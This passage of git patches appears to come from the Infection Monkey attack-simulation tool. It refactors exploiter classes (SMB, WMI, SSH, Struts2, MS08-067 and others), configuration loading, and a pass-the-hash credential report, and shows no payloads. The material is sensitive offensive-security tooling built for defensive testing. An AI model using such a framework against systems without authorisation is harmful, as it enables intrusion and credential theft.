len(pth.GetThreateningUsersByVictim(x))), pth.GetNonCritialServers())) @@ -117,8 +139,11 @@ class PTHReportService(object): @staticmethod def get_duplicated_passwords_issues(pth, password_groups): issues = [] + previeous_group = [] for group in password_groups: username = group['cred_group'][0] + if username in previeous_group: + continue sid = list(pth.GetSidsByUsername(username.split('\\')[1])) machine_info = pth.GetSidInfo(sid[0]) issues.append( @@ -128,6 +153,7 @@ class PTHReportService(object): 'shared_with': group['cred_group'] } ) + previeous_group += group['cred_group'] return issues @@ -154,19 +180,19 @@ class PTHReportService(object): { 'type': 'strong_users_on_crit', 'machine': machine.get('hostname'), - 'services': machine.get('services_names'), + 'services': machine.get('services'), 'ip': machine.get('ip'), - 'threatening_users': machine.get('threatening_users') + 'threatening_users': machine.get('threatening_users').keys() } ) return issues @staticmethod - def generate_map_nodes(pth): - nodes_list = [] - for node_id in pth.vertices: - machine = Machine(node_id) + def get_machine_details(node_id): + machine = Machine(node_id) + node = {} + if machine.latest_system_info: node = { "id": str(node_id), "label": '{0} : {1}'.format(machine.GetHostName(), machine.GetIp()), @@ -176,6 +202,13 @@ class PTHReportService(object): 'services': machine.GetCriticalServicesInstalled(), 'hostname': machine.GetHostName() } + return node + + @staticmethod + def generate_map_nodes(pth): + nodes_list = [] + for node_id in pth.vertices: + node = PTHReportService.get_machine_details(node_id) nodes_list.append(node) return nodes_list @@ -200,13 +233,13 @@ class PTHReportService(object): same_password = PTHReportService.get_duplicated_password_nodes(pth) local_admin_shared = PTHReportService.get_shared_local_admins_nodes(pth) - strong_users_on_crit_services = PTHReportService.get_strong_users_on_crit_services(pth) + strong_users_on_crit_services = PTHReportService.get_strong_users_on_crit_services_by_user(pth) strong_users_on_non_crit_services = PTHReportService.get_strong_users_on_non_crit_services(pth) issues += PTHReportService.get_duplicated_passwords_issues(pth, same_password) issues += PTHReportService.get_shared_local_admins_issues(local_admin_shared) - issues += PTHReportService.strong_users_on_crit_issues(strong_users_on_crit_services) - #formated_issues = PTHReportService.get_issues_list(issues) + issues += PTHReportService.strong_users_on_crit_issues( + PTHReportService.get_strong_users_on_crit_services_by_machine(pth)) report = \ { diff --git a/monkey_island/cc/services/pth_report_utils.py b/monkey_island/cc/services/pth_report_utils.py index b4839f852..9e9baa6b3 100644 --- a/monkey_island/cc/services/pth_report_utils.py +++ b/monkey_island/cc/services/pth_report_utils.py @@ -99,6 +99,8 @@ class Machine(object): if self.latest_system_info.count() > 0: self.latest_system_info = self.latest_system_info[0] + else: + self.latest_system_info = None self.monkey_info = NodeService.get_monkey_by_guid(self.monkey_guid) @@ -163,7 +165,7 @@ class Machine(object): def IsDomainController(self): return self.GetDomainRole() in (DsRole_RolePrimaryDomainController, DsRole_RoleBackupDomainController) - @cache + #@cache def GetSidByUsername(self, username, domain=None): doc = self.latest_system_info @@ -227,7 +229,7 @@ class Machine(object): @cache def GetCriticalServicesInstalled(self): def IsNameOfCriticalService(name): - services = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns") + services = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns", 'MSSQL$SQLEXPRESS') services = map(str.lower, services) if not name: @@ -290,7 +292,6 @@ class Machine(object): usernames = self.GetUsernamesBySecret(secret) return set(map(self.GetSidByUsername, usernames)) - @cache def GetGroupSidByGroupName(self, group_name): doc = self.latest_system_info @@ -305,7 +306,6 @@ class Machine(object): return None - @cache def GetUsersByGroupSid(self, sid): doc = self.latest_system_info @@ -360,7 +360,6 @@ class Machine(object): return GUIDs - @cache def GetLocalAdmins(self): admins = self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")) @@ -369,7 +368,6 @@ class Machine(object): return admins - @cache def GetLocalAdminSids(self): return set(self.GetLocalAdmins().keys()) @@ -510,7 +508,7 @@ class Machine(object): DCs = self.GetDomainControllersMonkeyGuidByDomainName(domain_name) return map(Machine, DCs) - @cache + def GetDomainAdminsOfMachine(self): DCs = self.GetDomainControllers() @@ -521,15 +519,15 @@ class Machine(object): return domain_admins - @cache + #@cache def GetAdmins(self): - return self.GetLocalAdminSids() | self.GetDomainAdminsOfMachine() + return self.GetLocalAdminSids() # | self.GetDomainAdminsOfMachine() @cache def GetAdminNames(self): return set(map(lambda x: self.GetUsernameBySid(x), self.GetAdmins())) - @cache + #@cache def GetCachedSids(self): doc = self.latest_system_info @@ -622,16 +620,18 @@ class PassTheHashReport(object): edges_list = [] for attacker in self.vertices: - cached = self.GetCachedSids(Machine(attacker)) + cached = list(self.GetCachedSids(Machine(attacker))) for victim in self.vertices: if attacker == victim: continue - admins = Machine(victim).GetAdmins() + admins = list(Machine(victim).GetAdmins()) - if len(cached & admins) > 0: - relevant_users_list = self.ReprSidList(cached & admins, attacker, victim) + cached_admins = [i for i in cached if i in admins] + + if cached_admins: + relevant_users_list = self.ReprSidList(cached_admins, attacker, victim) edges_list.append( { 'from': attacker, @@ -929,7 +929,7 @@ class PassTheHashReport(object): def GetNonCritialServers(self): return set(self.machines) - self.GetCritialServers() - @cache + #@cache def GetCachedSids(self, m): sids = set() tmp = m.GetCachedSids() @@ -958,15 +958,17 @@ class PassTheHashReport(object): return threatening_users - @cache def GetSharedAdmins(self, m): - shared_admins = set() + shared_admins = [] for other in self.machines: if m == other: continue + for sid in m.GetLocalAdminSids(): + if sid in other.GetLocalAdminSids(): + shared_admins.append(sid) - shared_admins |= (m.GetLocalAdminSids() & other.GetLocalAdminSids()) + #shared_admins |= (m.GetLocalAdminSids() & other.GetLocalAdminSids()) - shared_admins -= m.GetDomainAdminsOfMachine() + #shared_admins -= m.GetDomainAdminsOfMachine() return shared_admins \ No newline at end of file diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 6a89afa58..122f8ff5d 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -44,9 +44,9 @@ class ReportService: AZURE = 6 STOLEN_SSH_KEYS = 7 STRUTS2 = 8 + MSSQL_TO_BE = 9 PTH_CRIT_SERVICES_ACCESS = 10 - class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 TUNNEL = 1 @@ -103,25 +103,31 @@ class ReportService: @staticmethod def get_scanned(): + + formatted_nodes = [] + nodes = \ [NodeService.get_displayed_node_by_id(node['_id'], True) for node in mongo.db.node.find({}, {'_id': 1})] \ + [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in mongo.db.monkey.find({}, {'_id': 1})] - nodes = [ - { - 'label': node['label'], - 'ip_addresses': node['ip_addresses'], - 'accessible_from_nodes': - (x['hostname'] for x in - (NodeService.get_displayed_node_by_id(edge['from'], True) - for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))), - 'services': node['services'] - } - for node in nodes] + + for node in nodes: + pth_services = PTHReportService.get_machine_details(NodeService.get_monkey_by_id(node['id']) + .get('guid', None)).get('services', None) + formatted_nodes.append( + { + 'label': node['label'], + 'ip_addresses': node['ip_addresses'], + 'accessible_from_nodes': + (x['hostname'] for x in + (NodeService.get_displayed_node_by_id(edge['from'], True) + for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))), + 'services': node['services'] + pth_services if pth_services else [] + }) logger.info('Scanned nodes generated for reporting') - return nodes + return formatted_nodes @staticmethod def get_exploited(): @@ -160,13 +166,14 @@ class ReportService: origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] for user in monkey_creds: for pass_type in monkey_creds[user]: - creds.append( + cred_row = \ { 'username': user.replace(',', '.'), 'type': PASS_TYPE_DICT[pass_type], 'origin': origin } - ) + if cred_row not in creds: + creds.append(cred_row) logger.info('Stolen creds generated for reporting') return creds @@ -374,7 +381,7 @@ class ReportService: PTHReportService.get_report().get('report_info').get('pth_issues', []) issues_dict = {} for issue in issues: - machine = issue['machine'] + machine = issue.get('machine', '').upper() if machine not in issues_dict: issues_dict[machine] = [] issues_dict[machine].append(issue) @@ -483,6 +490,7 @@ class ReportService: issues = ReportService.get_issues() config_users = ReportService.get_config_users() config_passwords = ReportService.get_config_passwords() + pth_report = PTHReportService.get_report() report = \ @@ -511,6 +519,11 @@ class ReportService: 'recommendations': { 'issues': issues + }, + 'pth': + { + 'map': pth_report.get('pthmap'), + 'info': pth_report.get('report_info') } } diff --git a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js index 8c7ded49b..20faafca7 100644 --- a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js +++ b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js @@ -50,9 +50,6 @@ class PassTheHashMapPageComponent extends AuthComponent { - - - ); } diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 400381c8a..37c224956 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -29,6 +29,7 @@ class ReportPageComponent extends AuthComponent { AZURE: 6, STOLEN_SSH_KEYS: 7, STRUTS2: 8, + MSSQL_TO_BE: 9, PTH_CRIT_SERVICES_ACCESS: 10 }; @@ -55,9 +56,8 @@ class ReportPageComponent extends AuthComponent { componentDidMount() { this.updateMonkeysRunning().then(res => this.getReportFromServer(res)); - this.getPTHReportFromServer(); this.updateMapFromServer(); - this.interval = setInterval(this.updateMapFromServer, 1000); + /*this.interval = setInterval(this.updateMapFromServer, 1000);*/ } componentWillUnmount() { @@ -132,7 +132,9 @@ class ReportPageComponent extends AuthComponent { .then(res => res.json()) .then(res => { this.setState({ - report: res + report: res, + pthreport: res.pth.info, + pthmap: res.pth.map }); }); } @@ -450,59 +452,24 @@ class ReportPageComponent extends AuthComponent {
    -
    - -
    {this.generateReportPthMap()}
    - -
    -
    - +
    - { /* TODO: use dynamic data */} - +
    ); } generateReportPthMap() { - // TODO: remove this and use updateMapFromSerever to get actual map data. - const my_map = { - nodes: [ - {id: '1', label: 'MYPC-1', group: 'normal', users: ['MYPC-2\\user1', 'Dom\\user2'], ips: ['192.168.0.1'], services: ["DC", "SQL"], 'hostname': 'aaa1'}, - {id: 2, label: 'MYPC-2', group: 'critical', users: ['MYPC-2\\user1', 'Dom\\user2'], ips: ['192.168.0.1'], services: ["DC", "SQL"], 'hostname': 'aaa2'}, - {id: 3, label: 'MYPC-3', group: 'normal', users: ['MYPC-3\\user1', 'Dom\\user3'], ips: ['192.168.0.2'], services: ["DC", "SQL"], 'hostname': 'aaa3'}, - {id: 4, label: 'MYPC-4', group: 'critical', users: ['MYPC-4\\user1', 'Dom\\user4'], ips: ['192.168.0.3', '192.168.0.4'], services: ["DC", "SQL"], 'hostname': 'aaa4'}, - {id: 5, label: 'MYPC-5', group: 'normal', users: ['MYPC-5\\user1', 'Dom\\user5'], ips: ['192.168.0.1'], services: [], 'hostname': 'aaa5'}, - {id: 6, label: 'MYPC-6', group: 'critical', users: ['MYPC-6\\user1', 'Dom\\user6'], ips: ['192.168.0.1'], services: ["DC"], 'hostname': 'aaa6'}, - {id: 7, label: 'MYPC-7', group: 'critical', users: ['MYPC-7\\user1', 'Dom\\user7'], ips: ['192.168.0.1'], services: ["DC", "SQL"], 'hostname': 'aaa7'} - ], - edges: [ - {id: 10, from: '1', to: 2, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla0'}, - {id: 11, from: '1', to: 3, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla1'}, - {id: 12, from: '1', to: 4, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla2'}, - {id: 13, from: 5, to: 6, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla3'}, - {id: 14, from: 6, to: 7, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla4'}, - {id: 15, from: 6, to: 5, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla5'}, - ] - - }; return (

    Credential Map

    -
    +

    diff --git a/monkey_island/cc/ui/src/components/report-components/StrongUsers.js b/monkey_island/cc/ui/src/components/report-components/StrongUsers.js index bfb933ec1..36068f26e 100644 --- a/monkey_island/cc/ui/src/components/report-components/StrongUsers.js +++ b/monkey_island/cc/ui/src/components/report-components/StrongUsers.js @@ -2,6 +2,7 @@ import React from 'react'; import ReactTable from 'react-table' let renderArray = function(val) { + console.log(val); return
    {val.map(x =>
    {x}
    )}
    ; }; @@ -12,7 +13,7 @@ const columns = [ { Header: 'Username', accessor: 'username'}, { Header: 'Domain', accessor: 'domain'}, { Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)}, - { Header: 'Services', id: 'services', accessor: x => renderArray(x.services)} + { Header: 'Services', id: 'services', accessor: x => renderArray(x.services_names)} ] } ]; From bd8423216bf4babbc817646a0dac2fe0b4654644 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 18:35:30 +0300 Subject: [PATCH 149/243] Changed constructor to have default paths set to None for convienience --- infection_monkey/exploit/web_rce.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index 0b4d041a1..e86f3b2a6 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -21,7 +21,7 @@ WIN_ARCH_64 = "64" class WebRCE(HostExploiter): - def __init__(self, host, monkey_target_paths): + def __init__(self, host, monkey_target_paths=None): """ :param host: Host that we'll attack :param monkey_target_paths: Where to upload the monkey at the target host system. From be08027221fd63dbc5069c6bbdb5060762ff50a5 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 27 Aug 2018 10:58:43 -0400 Subject: [PATCH 150/243] Fix relative imports --- monkey/infection_monkey/exploit/tools.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools.py b/monkey/infection_monkey/exploit/tools.py index 31586417c..466834bcc 100644 --- a/monkey/infection_monkey/exploit/tools.py +++ b/monkey/infection_monkey/exploit/tools.py @@ -416,7 +416,7 @@ def get_interface_to_target(dst): def get_target_monkey(host): - from control import ControlClient + from infection_monkey.control import ControlClient import platform import sys @@ -442,7 +442,7 @@ def get_target_monkey(host): def get_target_monkey_by_os(is_windows, is_32bit): - from control import ControlClient + from infection_monkey.control import ControlClient return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) From b23418782c0727732fd06b7c46a03730d29840cd Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 26 Aug 2018 15:15:31 -0400 Subject: [PATCH 151/243] Move configuration to be a exploit object field rather than every exploit importing it. --- monkey/infection_monkey/exploit/__init__.py | 5 +++-- monkey/infection_monkey/exploit/elasticgroovy.py | 2 -- monkey/infection_monkey/exploit/rdpgrinder.py | 3 --- monkey/infection_monkey/exploit/sambacry.py | 2 -- monkey/infection_monkey/exploit/shellshock.py | 2 -- monkey/infection_monkey/exploit/smbexec.py | 3 --- monkey/infection_monkey/exploit/sshexec.py | 2 -- monkey/infection_monkey/exploit/struts2.py | 1 - monkey/infection_monkey/exploit/win_ms08_067.py | 3 --- monkey/infection_monkey/exploit/wmiexec.py | 3 --- 10 files changed, 3 insertions(+), 23 deletions(-) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index e039bbb7a..1b59d112f 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -1,4 +1,5 @@ from abc import ABCMeta, abstractmethod +import infection_monkey.config __author__ = 'itamar' @@ -9,7 +10,7 @@ class HostExploiter(object): _TARGET_OS_TYPE = [] def __init__(self, host): - + self._config = infection_monkey.config.WormConfiguration self._exploit_info = {} self._exploit_attempts = [] self.host = host @@ -18,7 +19,7 @@ class HostExploiter(object): return self.host.os.get('type') in self._TARGET_OS_TYPE def send_exploit_telemetry(self, result): - from control import ControlClient + from infection_monkey.control import ControlClient ControlClient.send_telemetry( 'exploit', {'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__, diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 4dbd20e7b..c69e0112b 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -9,7 +9,6 @@ import logging import requests -import infection_monkey.config from infection_monkey.exploit import HostExploiter from infection_monkey.model import DROPPER_ARG from infection_monkey.network.elasticfinger import ES_SERVICE, ES_PORT @@ -39,7 +38,6 @@ class ElasticGroovyExploiter(HostExploiter): def __init__(self, host): super(ElasticGroovyExploiter, self).__init__(host) - self._config = infection_monkey.config.WormConfiguration self.skip_exist = self._config.skip_exploit_if_file_exist def is_os_supported(self): diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py index 6b0110e47..3873a8ce3 100644 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -9,7 +9,6 @@ from rdpy.core.error import RDPSecurityNegoFail from rdpy.protocol.rdp import rdp from twisted.internet import reactor -import infection_monkey.config from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth from infection_monkey.exploit.tools import get_target_monkey @@ -238,8 +237,6 @@ class RdpExploiter(HostExploiter): def __init__(self, host): super(RdpExploiter, self).__init__(host) - self._config = infection_monkey.config.WormConfiguration - self._guid = infection_monkey.config.GUID def is_os_supported(self): if super(RdpExploiter, self).is_os_supported(): diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index d9d683bdd..e14b6aa93 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -15,7 +15,6 @@ from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_ SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE from impacket.smbconnection import SMBConnection -import infection_monkey.config import infection_monkey.monkeyfs as monkeyfs from infection_monkey.exploit import HostExploiter from infection_monkey.model import DROPPER_ARG @@ -53,7 +52,6 @@ class SambaCryExploiter(HostExploiter): def __init__(self, host): super(SambaCryExploiter, self).__init__(host) - self._config = infection_monkey.config.WormConfiguration def exploit_host(self): if not self.is_vulnerable(): diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 9e42d9b17..dd80af22c 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -6,7 +6,6 @@ from random import choice import requests -import infection_monkey.config from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth from infection_monkey.model import DROPPER_ARG @@ -30,7 +29,6 @@ class ShellShockExploiter(HostExploiter): def __init__(self, host): super(ShellShockExploiter, self).__init__(host) - self._config = infection_monkey.config.WormConfiguration self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.success_flag = ''.join( choice(string.ascii_uppercase + string.digits diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 7e6b68b20..7528e08ba 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -3,7 +3,6 @@ from logging import getLogger from impacket.dcerpc.v5 import transport, scmr from impacket.smbconnection import SMB_DIALECT -import infection_monkey.config from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS @@ -24,8 +23,6 @@ class SmbExploiter(HostExploiter): def __init__(self, host): super(SmbExploiter, self).__init__(host) - self._config = infection_monkey.config.WormConfiguration - self._guid = infection_monkey.config.GUID def is_os_supported(self): if super(SmbExploiter, self).is_os_supported(): diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 4d0187822..82dd1f4d7 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -5,7 +5,6 @@ import paramiko import StringIO import infection_monkey.monkeyfs as monkeyfs -import infection_monkey.config from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth from infection_monkey.model import MONKEY_ARG @@ -24,7 +23,6 @@ class SSHExploiter(HostExploiter): def __init__(self, host): super(SSHExploiter, self).__init__(host) - self._config = infection_monkey.config.WormConfiguration self._update_timestamp = 0 self.skip_exist = self._config.skip_exploit_if_file_exist diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index 0033c6ff7..843bc23d5 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -27,7 +27,6 @@ class Struts2Exploiter(HostExploiter): def __init__(self, host): super(Struts2Exploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration self.skip_exist = self._config.skip_exploit_if_file_exist self.HTTP = [str(port) for port in self._config.HTTP_PORTS] diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index b25289543..9f8837157 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -14,7 +14,6 @@ from enum import IntEnum from impacket import uuid from impacket.dcerpc.v5 import transport -import infection_monkey.config from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from infection_monkey.network import SMBFinger @@ -159,8 +158,6 @@ class Ms08_067_Exploiter(HostExploiter): def __init__(self, host): super(Ms08_067_Exploiter, self).__init__(host) - self._config = infection_monkey.config.WormConfiguration - self._guid = infection_monkey.config.GUID def is_os_supported(self): if self.host.os.get('type') in self._TARGET_OS_TYPE and \ diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 26cae60c3..1a8cb3386 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -5,7 +5,6 @@ import traceback from impacket.dcerpc.v5.rpcrt import DCERPCException -import infection_monkey.config from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \ get_monkey_depth, build_monkey_commandline @@ -19,8 +18,6 @@ class WmiExploiter(HostExploiter): def __init__(self, host): super(WmiExploiter, self).__init__(host) - self._config = infection_monkey.config.WormConfiguration - self._guid = infection_monkey.config.GUID @WmiTools.dcom_wrap def exploit_host(self): From cad9aca5ddef9b7c4a41e27c957dbec21dd9b1e9 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 27 Aug 2018 11:06:58 -0400 Subject: [PATCH 152/243] Fix one more old style import --- monkey/infection_monkey/network/mssql_fingerprint.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py index bb5214c2f..6a0f6ad2e 100644 --- a/monkey/infection_monkey/network/mssql_fingerprint.py +++ b/monkey/infection_monkey/network/mssql_fingerprint.py @@ -3,6 +3,7 @@ import socket from infection_monkey.model.host import VictimHost from infection_monkey.network import HostFinger +import infection_monkey.config __author__ = 'Maor Rayzin' @@ -18,7 +19,7 @@ class MSSQLFinger(HostFinger): SERVICE_NAME = 'MSSQL' def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration def get_host_fingerprint(self, host): """Gets Microsoft SQL Server instance information by querying the SQL Browser service. From 3ce81ee78a49e5d67245eed76cff4449f10f13e6 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 26 Aug 2018 15:14:04 -0400 Subject: [PATCH 153/243] Rewrote config parsing. Avoid the horrible cast by example function and avoid possible circular import issues. --- monkey/infection_monkey/config.py | 96 +++++++++++++----------------- monkey/infection_monkey/control.py | 2 +- monkey/infection_monkey/main.py | 2 +- 3 files changed, 44 insertions(+), 56 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 79912dcdd..0d8acd678 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -1,15 +1,13 @@ import os -import struct +import json import sys import types import uuid from abc import ABCMeta from itertools import product +import importlib -from infection_monkey.exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, ShellShockExploiter -from infection_monkey.network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, \ - ElasticFinger, MSSQLFinger +importlib.import_module('infection_monkey', 'network') __author__ = 'itamar' @@ -18,57 +16,50 @@ GUID = str(uuid.getnode()) EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin') -def _cast_by_example(value, example): - """ - a method that casts a value to the type of the parameter given as example - """ - example_type = type(example) - if example_type is str: - return os.path.expandvars(value).encode("utf8") - elif example_type is tuple and len(example) != 0: - if value is None or value == tuple([None]): - return tuple() - return tuple([_cast_by_example(x, example[0]) for x in value]) - elif example_type is list and len(example) != 0: - if value is None or value == [None]: - return [] - return [_cast_by_example(x, example[0]) for x in value] - elif example_type is type(value): - return value - elif example_type is bool: - return value.lower() == 'true' - elif example_type is int: - return int(value) - elif example_type is float: - return float(value) - elif example_type in (type, ABCMeta): - return globals()[value] - else: - return None - - class Configuration(object): - def from_dict(self, data): - """ - Get a dict of config variables, set known variables as attributes on self. - Return dict of unknown variables encountered. - """ - unknown_variables = {} - for key, value in data.items(): + + def from_kv(self, formatted_data): + # now we won't work at <2.7 for sure + network_import = importlib.import_module('infection_monkey.network') + exploit_import = importlib.import_module('infection_monkey.exploit') + + unknown_items = [] + for key, value in formatted_data.items(): if key.startswith('_'): continue if key in ["name", "id", "current_server"]: continue if self._depth_from_commandline and key == "depth": continue - try: - default_value = getattr(Configuration, key) - except AttributeError: - unknown_variables[key] = value - continue + if 'class' in key: + # handle in cases + if key == 'finger_classes': + class_objects = [getattr(network_import, val) for val in value] + setattr(self, key, class_objects) + elif key == 'scanner_class': + scanner_object = getattr(network_import, value) + setattr(self, key, scanner_object) + elif key == 'exploiter_classes': + class_objects = [getattr(exploit_import, val) for val in value] + setattr(self, key, class_objects) + else: + unknown_items.append(key) + else: + if hasattr(self, key): + setattr(self, key, value) + else: + unknown_items.append(key) + return unknown_items - setattr(self, key, _cast_by_example(value, default_value)) - return unknown_variables + def from_json(self, json_data): + """ + Gets a json data object, parses it and applies it to the configuration + :param json_data: + :return: + """ + formatted_data = json.loads(json_data) + result = self.from_kv(formatted_data) + return result def as_dict(self): result = {} @@ -145,12 +136,9 @@ class Configuration(object): # how many scan iterations to perform on each run max_iterations = 1 - scanner_class = TcpScanner - finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] - exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits - SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux - ElasticGroovyExploiter, Struts2Exploiter # multi - ] + scanner_class = None + finger_classes = [] + exploiter_classes = [] # how many victims to look for in a single scan iteration victims_max_find = 30 diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 4f3df0b60..7322322e7 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -160,7 +160,7 @@ class ControlClient(object): return try: - unknown_variables = WormConfiguration.from_dict(reply.json().get('config')) + unknown_variables = WormConfiguration.from_kv(reply.json().get('config')) LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),)) except Exception as exc: # we don't continue with default conf here because it might be dangerous diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 98be6895f..be45afce4 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -60,7 +60,7 @@ def main(): try: with open(config_file) as config_fo: json_dict = json.load(config_fo) - WormConfiguration.from_dict(json_dict) + WormConfiguration.from_kv(json_dict) except ValueError as e: print("Error loading config: %s, using default" % (e,)) else: From 592dd27d910e13d365db9cdcd18d62854d88553f Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 28 Aug 2018 20:51:25 +0300 Subject: [PATCH 154/243] Added functions get_monkey_paths and run_backup_commands --- infection_monkey/exploit/tools.py | 4 +- infection_monkey/exploit/web_rce.py | 94 ++++++++++++++++++++--------- infection_monkey/transport/http.py | 1 + 3 files changed, 66 insertions(+), 33 deletions(-) diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index 08cc94af1..1b7f32003 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -410,8 +410,6 @@ class HTTPTools(object): return None, None httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) - - httpd.daemon = True httpd.start() lock.acquire() return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd @@ -515,7 +513,7 @@ def get_monkey_depth(): def get_monkey_dest_path(url_to_monkey): """ - Gets destination path from source path. + Gets destination path from monkey's source url. :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe :return: Corresponding monkey path from configuration """ diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index e86f3b2a6..a8aa2aae7 